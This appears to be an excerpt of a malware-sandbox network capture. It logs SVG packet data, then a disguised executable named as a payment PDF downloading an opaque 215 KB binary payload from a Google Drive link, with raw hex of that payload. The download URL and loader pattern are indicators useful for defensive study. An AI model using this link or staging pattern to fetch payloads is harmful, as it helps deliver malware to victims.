Aug 29, 2023 22:44:56.287117958 CEST	570	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:44:56.287173033 CEST	571	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:44:56.287267923 CEST	572	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:44:56.287337065 CEST	574	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:56.287396908 CEST	575	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:44:56.287475109 CEST	576	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:44:56.287556887 CEST	578	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:56.287662983 CEST	579	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:44:56.462158918 CEST	580	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49982	142.250.184.206	443	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 20:43:02 UTC	0	OUT	GET /uc?export=download&id=1fayl07woraJr0TR9XXo8cS5umDc-PpmU HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: drive.google.com Cache-Control: no-cache
2023-08-29 20:43:02 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 29 Aug 2023 20:43:02 GMT Location: https://doc-00-7o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lca5re9et6nac4aq1b2c22o1cs/1693341750000/10873453270860308796//1fayl07woraJr0TR9XXo8cS5umDc-PpmU?e=download&uuid=8d8141af-0f63-4ded-a808-c182721a055e Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version= Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-OgZeyncVv957APIFWv9feQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49983	142.250.185.65	443	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 20:43:03 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lca5re9et6nac4aq1b2c22o1cs/1693341750000/10873453270860308796/*/1fayl07woraJr0TR9XXo8cS5umDc-PpmU?e=download&uuid=8d8141af-0f63-4ded-a808-c182721a055e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Cache-Control: no-cache Host: doc-00-7o-docs.googleusercontent.com Connection: Keep-Alive
2023-08-29 20:43:03 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdtMJt4UdFKQjmY_Nxk3QoBdoTrNShzqdb98Nd1fgp0SBi25L6ZZDnZEmBbQ_rzpPPjHa1SL6tqFBYomnUUEVM_OZA X-Content-Type-Options: nosniff Content-Type: application/octet-stream Content-Disposition: attachment; filename="COEaVJbzuLMeEswBWFd15.bin"; filename=UTF-8''COEaVJbzuLMeEswBWFd15.bin Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, x-goog-ext-359275022-bin, x-goog-ext-328800237-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, x-goog-maps-api-salt, x-goog-maps-api-signature, x-goog-maps-client-id, X-Goog-Api-Key, x-goog-spanner-database-role, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Android-Cert, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-OidcIdToken, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token, x-rfui-request-context Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 215616 Last-Modified: Mon, 28 Aug 2023 07:14:07 GMT Date: Tue, 29 Aug 2023 20:43:03 GMT Expires: Tue, 29 Aug 2023 20:43:03 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=iuHdLQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-08-29 20:43:03 UTC	6	IN	Data Raw: 8c 2d 63 63 ff 4d e9 00 8e c5 94 41 00 e1 79 83 89 00 72 f4 c1 5b e2 a0 f0 c5 dc 21 d5 d4 3d 5b 85 89 d3 6c 4d 64 06 ee 5a 20 11 b0 61 8b 00 14 8c 1d d1 3d 03 26 00 27 6d bf 92 43 5f ec d5 9b a0 95 14 e2 df f8 d3 01 7e b3 21 2b 0b c0 b5 1a 7a 91 c2 5b 68 db 29 b4 54 74 f5 59 6c 1d 4c e9 21 df 83 e1 a8 6f 09 cd 05 ff 41 b7 f8 b0 11 9c 33 25 95 d9 ce cf 1a 2c bb a7 e0 dd ec a9 45 a0 3a 64 6d 6c c3 26 96 56 d2 38 5b 3b a4 d2 0a e4 ec 37 d6 2a d8 9b ee 14 b8 1f d9 b4 95 8b 11 45 07 3e cd b7 fb 3f 23 1a cc 38 b8 a1 42 7d a2 47 9d 60 56 e3 fd ac 75 25 1d 3e 2b fc 31 05 0d 5e 2a 9c df 59 d0 06 0d 83 a6 9e 85 6e 19 52 dd f6 14 84 97 16 07 44 81 5d de 8d c8 66 c4 b8 fa 05 24 4b 90 f4 15 34 8a 8c ca b6 50 f3 79 9d 30 d5 04 a5 50 8b c5 32 06 c3 26 42 84 e4 81 de 75 Data Ascii: -ccMAyr[!=[lMdZ a=&'mC_~!+z[h)TtYlL!oA3%,E:dml&V8[;7E>?#8B}G`Vu%>+1^YnRD]f$K4Py0P2&Bu
2023-08-29 20:43:03 UTC	10	IN	Data Raw: cb 1f e0 6b 36 82 05 25 a8 52 a5 1a 7e 67 de a4 fb c8 a0 28 9f ba ec c8 58 31 c7 d6 8c 71 52 7d 08 e0 fa 59 b2 fc 66 b8 3f a1 29 fd e5 03 d7 9f eb 9f 4d db 7b b2 98 d3 b4 76 da 3e 59 71 c1 b0 07 1a c4 c5 47 20 7d f1 90 20 34 00 c9 d1 ce 40 cf ae 9d f0 db 15 20 e9 64 19 5c be f7 cf e2 f2 33 74 a8 17 7b e4 17 45 48 6f 75 3f 12 15 49 b8 b0 36 7e 00 03 25 55 59 35 a3 35 30 01 52 94 fa f5 73 db 54 aa 35 3d 25 d3 4b 31 e9 4d 81 10 2b 65 b1 48 69 bf eb ac 10 d2 56 7e 59 2b 6f 61 03 49 02 fc c9 38 9e 58 f6 f3 c5 d5 f3 a4 c4 81 a9 a9 b4 95 0f c4 1a bb ae 6a 58 2e 5b d0 8d 43 68 06 47 bf 52 04 a0 84 c1 e6 e0 19 fd ca 6e 8a af 34 0a a2 ec db a4 41 a0 7d 05 20 69 e1 d7 c8 33 79 a6 d2 35 cf af c1 65 e4 c4 ff ba 70 a9 2e a6 83 21 2a b1 f2 dc 14 ba cc 69 a6 a6 89 73 9e Data Ascii: k6%R~g(X1qR}Yf?)M{v>YqG } 4@ d\3t{EHou?I6~%UY550RsT5=%K1M+eHiV~Y+oaI8XjX.[ChGRn4A} i3y5ep.!*is
2023-08-29 20:43:03 UTC	15	IN	Data Raw: 59 12 c2 12 6f 87 57 37 15 57 4a 87 5e f8 a5 c7 bc d9 a0 41 8d ca ce d9 af 9b 84 42 c8 19 48 4b 22 36 cb 47 a1 23 f3 e3 73 51 34 cb de 93 86 96 61 2c 53 56 86 be 20 7f b1 1c 47 13 d4 04 29 1c 22 fb f4 ee 42 55 22 ba cc 95 82 b8 e1 2b b6 b6 c0 08 5d 33 14 e9 5b 6b 1a 2f 82 08 6f 45 0f 00 09 cd 1e cf dc 55 20 52 68 82 3f c4 11 5e b4 0a c5 fa 15 46 e1 1e 8c 02 77 38 3a bb a7 5e 0f 54 a9 45 9b e2 74 98 b4 8b e7 67 68 fc fe 5d 11 e2 84 46 ea 8a 92 b3 d6 59 fb f7 21 d1 14 f6 01 b1 61 8c 25 0d 59 bf 5b 8e 81 30 7b 3a d4 aa 7e f9 cd c8 22 1c 7b 13 0d 8e 4d f5 66 39 86 28 49 4f a0 fa b5 50 4e 17 03 eb ed b0 b1 70 e1 e1 47 51 d9 33 58 e2 a9 62 19 be 59 12 ae b0 37 e9 d8 0c 60 94 d4 93 fa cc ee e8 ae e9 f4 52 1e da 84 47 37 22 cb 8d e8 a4 00 88 22 8d 86 ca 47 b9 19 Data Ascii: YoW7WJ^ABHK"6G#sQ4a,SV G)"BU"+]3[k/oEU Rh?^Fw8:^TEtgh]FY!a%Y[0{:~"{Mf9(IOPNpGQ3XbY7`RG7""G
2023-08-29 20:43:03 UTC	18	IN	Data Raw: 8e 45 f3 cd 2e 24 07 43 bd c6 ac 13 41 84 d1 75 6e 90 77 54 20 25 4d db 21 f3 51 72 43 e8 70 31 84 a0 7b 49 99 2a b0 1b d1 cf 21 cb 58 8f da 3f 92 23 e3 f6 d6 82 a3 3e 25 78 f7 bd d0 6e 72 7a 32 59 94 86 6e c6 4e 9c 4a 31 80 94 99 c9 2a 65 3e 44 7c 7d 02 3b e4 7a 40 0b 8c f6 d1 77 14 b0 d6 a1 3f 0d 9d 3c 53 df 85 c0 86 37 55 2c c2 58 c8 e3 9b 17 02 69 6f 6b d2 0c ee cf cb 38 eb fc 19 b7 30 33 00 f8 ad 7e ce 68 72 35 b8 be 5f 60 2f c1 5a 71 e0 31 fa 91 92 8f d1 e5 68 24 5e e8 fa 1f fc e1 95 72 5e 11 4b 48 7f 9f de 38 97 bf 3d 8c 65 0c 63 d6 f7 6b 49 7c c8 38 f6 86 e0 ad 67 21 cb aa 34 8f 75 bc 55 7b a5 28 37 49 bd 05 c0 f2 7c 26 3b 39 03 d4 0d 40 d6 0e 7d 0b 7b 58 5d e8 f6 c5 18 46 1e 25 3b 46 17 aa 25 81 cc f5 54 9a eb 26 ca ae d3 58 e8 84 60 a2 41 2a a3 Data Ascii: E.$CAunwT %M!QrCp1{I!X?#>%xnrz2YnNJ1e>D\|};z@w?<S7U,Xiok803~hr5_`/Zq1h$^r^KH8=eckI\|8g!4uU{(7I\|&;9@}{X]F%;F%T&X`A*
2023-08-29 20:43:03 UTC	19	IN	Data Raw: d5 8a 78 0a b7 c4 d3 90 8c 92 b9 7b 81 2d 71 1f aa 71 5c bd 3f a1 89 c4 7b 42 97 9c 42 f8 31 9b 20 50 9f e0 d6 65 1b ff b1 cb 3e 57 07 1a 49 9f 50 d8 cb 2f 8c 15 97 0a 4c f6 a4 f4 b1 0b 8e bc 72 17 13 05 6e 7e 7b 7a e0 85 d9 d2 b8 71 6e f8 a5 0d e0 03 75 6f 7e 13 a2 7f 38 64 c4 68 b7 00 9c f0 7d bb 01 a2 2c 93 b9 48 9c da 37 68 72 50 a6 3d f0 5c 91 2d a9 70 a5 5e 84 d9 65 35 ad 40 cd e0 67 ae bf de 78 d9 23 66 9f 4d c2 05 19 45 f5 1c 92 b8 e7 8a c4 78 e2 7f c2 a8 00 57 1f a2 09 69 e9 35 61 70 2c b4 2d a8 c9 dc 07 93 25 54 9a af ee e3 f0 ba f7 80 58 29 a5 ad bf e6 c6 1f 17 46 86 b1 27 57 ab 1f 1f 0d e3 44 b9 31 95 bf b3 a0 7e 10 2c 4a a8 8d 7f 1f fa d9 84 67 1f 30 0b 9e 91 b8 46 5b 1b 08 01 3b e3 01 bf 9b 51 b5 b7 69 f6 1e 70 41 1c 86 f9 88 76 c1 a2 32 a4 Data Ascii: x{-qq\?{BB1 Pe>WIP/Lrn~{zqnuo~8dh},H7hrP=\-p^e5@gx#fMExWi5ap,-%TX)F'WD1~,Jg0F[;QipAv2
2023-08-29 20:43:03 UTC	20	IN	Data Raw: 99 61 57 86 d3 67 0f 74 17 43 c5 40 39 da 61 a1 42 3c fb 45 51 e2 2e 19 4f 1d 36 1d 28 37 f4 2a 51 84 51 d4 96 f1 53 56 5f ba b0 28 0e 3d a2 04 a3 cd 4a 80 01 1d 37 33 f2 ee 03 48 ce 94 e3 98 e2 49 d6 c5 d9 2c 3c 57 87 93 d0 2e 36 31 2b 30 15 06 12 b0 92 83 74 0b 6c 56 4c fc 7f 3b 36 c3 d7 88 fa 39 70 62 75 ac 21 fb 7d 8a 5c 20 f7 d2 ca a5 4a c1 92 37 8d f9 6d 15 c1 2f 77 e1 b0 81 39 9a e2 a3 82 2c 1d 6c 82 05 74 ed 3d 1f 13 b8 4a d1 47 5e d9 03 43 a6 da a0 51 dd 0a 6c be bf e6 0a d0 da c0 b8 c7 4d 24 ed 2d c9 31 e2 40 11 51 4e 7d 4b b7 f5 bd ed 7b 5f 3e 36 ef f1 c4 b3 b8 56 cc 62 73 ac e2 2e 5c 80 5b 98 8f 28 19 90 e2 42 88 7f 06 20 6d 6b 48 83 f0 af 6c 66 22 6f 3e 71 99 97 fe ef c0 cb 23 c6 de 81 30 e9 bd aa 34 bf 41 b1 64 c2 26 ef 6d ef 44 95 66 6a 1a Data Ascii: aWgtC@9aB<EQ.O6(7*QQSV_(=J73HI,<W.61+0tlVL;69pbu!}\ J7m/w9,lt=JG^CQlM$-1@QN}K{_>6Vbs.\[(B mkHlf"o>q#04Ad&mDfj
2023-08-29 20:43:03 UTC	21	IN	Data Raw: 98 dd 5d 27 05 46 cf 24 de 10 45 cd ec ce 61 82 f6 7e 9c e7 e2 4f d9 cc 66 73 f0 c7 6b 61 1e a1 69 70 f9 db d9 5a f1 de a5 dc 6a 6a c6 23 a0 b1 16 09 95 33 dd 02 99 5f a1 01 8d ac e1 ff 0e 77 95 09 ff e6 18 fb ff fe 69 70 cb f6 03 8a d5 fe a5 6b ca 21 ee 73 28 04 d0 89 ac a7 04 e8 b3 96 50 d0 1e d7 a5 74 e5 b2 a2 7f 0c 34 24 77 f6 a9 2a 63 7c ea 98 ed 23 b5 61 54 29 5a 3a f9 8b 8d 7b 51 21 eb 2d a4 87 5e e9 98 52 aa 37 42 4d 9e a5 ad 2d 19 97 1a de 5d 5d ec 39 67 70 67 95 4b 59 2e 91 81 3b 70 f6 d7 14 0a c5 5a 1e d7 4c 59 54 37 1e 30 37 6a 50 30 99 6e 6c 44 71 ac 3a 18 6c 50 02 98 67 00 39 f7 d9 51 b6 aa d2 cb 09 f5 e4 cd ea 51 82 c8 fd 2b 6a 77 de 12 9e c5 c3 72 52 98 8e a8 0e 26 56 78 85 c3 bc 3d 66 02 d7 8e eb e8 63 39 f9 73 36 f4 33 61 a7 3a 49 ac 3f Data Ascii: ]'F$Ea~OfskaipZjj#3_wipk!s(Pt4$w*c\|#aT)Z:{Q!-^R7BM-]]9gpgKY.;pZLYT707jP0nlDq:lPg9QQ+jwrR&Vx=fc9s63a:I?
2023-08-29 20:43:03 UTC	22	IN	Data Raw: 4a 69 ee dd ab 94 56 8e 66 82 63 c7 c1 5a e1 17 a1 a2 2a 93 b6 2b 49 6d 65 15 e4 58 e0 ba 79 81 b3 70 a3 d8 e8 5b 09 5d 87 1b df 25 65 3c 25 7a 8e e2 ba 0e cc 57 6b 8b 1e d9 47 e7 10 c2 c4 43 6b 18 6c d4 2f 97 7f 21 a0 e5 e3 4c df 7d 97 63 6f ba 66 d0 0a b9 03 de 63 f8 66 4b 59 8f eb f4 2c e3 16 ce 74 9e 82 e0 9e 01 36 f4 db 52 d8 9e 79 ba 7c b7 07 9b ac 6d 97 45 1b 1e e2 dc 96 a8 a3 27 ca be 72 e8 f8 a4 37 f6 e5 9d 41 74 6a ed 00 eb 7d e8 cb 0c 31 b6 74 7b e1 96 0a dc 7c 88 20 38 96 15 c4 1a 43 3d 4d 3b b6 ba 02 27 8f 50 44 39 01 67 f3 66 62 f3 3a 51 11 49 5c 9b 14 e5 c4 37 b1 cd cb 03 47 f1 f6 70 f6 55 56 88 73 12 9c 26 d6 3f ee e1 ee 4e b6 02 d6 d8 b4 e8 23 4b 03 33 24 e9 f5 8e 97 ba 5e ca 35 56 87 a4 43 69 3e 73 02 06 d1 9e 2c 80 e1 3a 1c 0f b1 20 34 Data Ascii: JiVfcZ*+ImeXyp[]%e<%zWkGCkl/!L}cofcfKY,t6Ry\|mE'r7Atj}1t{\| 8C=M;'PD9gfb:QI\7GpUVs&?N#K3$^5VCi>s,: 4
2023-08-29 20:43:03 UTC	24	IN	Data Raw: 46 49 86 65 e6 17 43 dd 28 7a 9d 96 16 4a 40 ca cc 1b 3b 44 09 5c 3f 02 d1 68 92 71 c7 b4 3f db 18 ca 27 32 60 8a 59 75 c9 78 ac 8b f9 65 dc 37 b0 f0 dd 63 2b 05 9f 09 2f f3 a0 d4 b0 44 a3 90 e3 96 e8 a0 1b 31 bd c9 e7 b6 ae db d8 3e 01 c6 f9 04 00 7a 4f 57 75 92 ca 52 33 4e 43 3f ac 29 e1 d5 be a2 5e 54 d8 7d 3b d4 84 e0 11 02 ed 56 ea 14 59 18 3d be f1 e5 29 8f fb 76 83 97 c6 89 09 a7 b6 c2 cd c3 ed 73 07 73 b7 22 27 00 b0 b7 d1 c0 de 82 e7 a1 5b bb f6 63 26 b1 e7 61 d8 0c 95 54 cd 0c 26 70 d0 4b d4 49 42 8f 7b 43 b8 2d 70 f2 7e d5 1d 1e c0 00 5c fe 9d 4b 74 c8 0f c7 b9 e7 4c c4 c7 15 9c b2 48 95 a6 48 5e 34 29 f9 f0 42 2c 87 fe ae 7d 55 cf 4a dd 75 b9 de 3e 30 16 f4 e3 2d 7a de 01 bb 9c 8b 99 ec de fc df 66 dc 34 14 b8 2e 4a 71 92 4c 3b 4d 71 19 e6 b8 Data Ascii: FIeC(zJ@;D\?hq?'2`Yuxe7c+/D1>zOWuR3NC?)^T};VY=)vss"'[c&aT&pKIB{C-p~\KtLHH^4)B,}UJu>0-zf4.JqL;Mq
2023-08-29 20:43:03 UTC	25	IN	Data Raw: b8 05 60 5b d1 94 e1 9c 29 4a aa 1f aa e5 fe ca 39 c8 17 26 f2 7a 47 4a a9 c0 23 8c 1a 29 ad f3 91 02 c4 2a 48 96 b4 63 2d 3d 56 d9 7b 2a 7a 0a ce 52 85 92 1b 77 5d 09 59 4b 8d d6 5d a1 a9 39 88 c2 78 6e 4f 3b 9c f2 19 3f 5a 8e 58 07 f0 2d 6b 02 a7 0c 38 41 82 00 b8 67 43 43 59 c3 f8 5d cf 9f e4 04 13 a0 a3 a1 9a 00 6b 4f 33 ee f0 ab 57 84 02 47 33 3f 92 ad a4 f5 76 2a ce 5d af ea bd 4e a4 d6 ad 47 d7 3e 76 65 0f 77 f1 fa 89 2d 9f 95 26 ca 0a 07 92 d4 1f f2 4e 6f ee dc 1e 90 bf bf ba e3 f2 02 17 5a 44 ea 50 1f 53 06 94 3b 86 06 cf 26 06 d4 e0 70 8c c5 bb 85 0b c8 5a ab 51 eb ec af 68 b0 c2 3d fb 60 1a dc 9f 4a b0 ac e2 50 42 6c e3 16 ef 44 ea b0 82 95 f8 d6 58 2f 61 4f 93 f9 ef 9c 81 72 e7 6b 74 0a 9d 84 31 5e bf 50 6c dc 74 e9 d3 b0 57 f8 8c b3 e7 d6 8e Data Ascii: `[)J9&zGJ#)Hc-=V{zRw]YK]9xnO;?ZX-k8AgCCY]kO3WG3?v*]NG>vew-&NoZDPS;&pZQh=`JPBlDX/aOrkt1^PltW
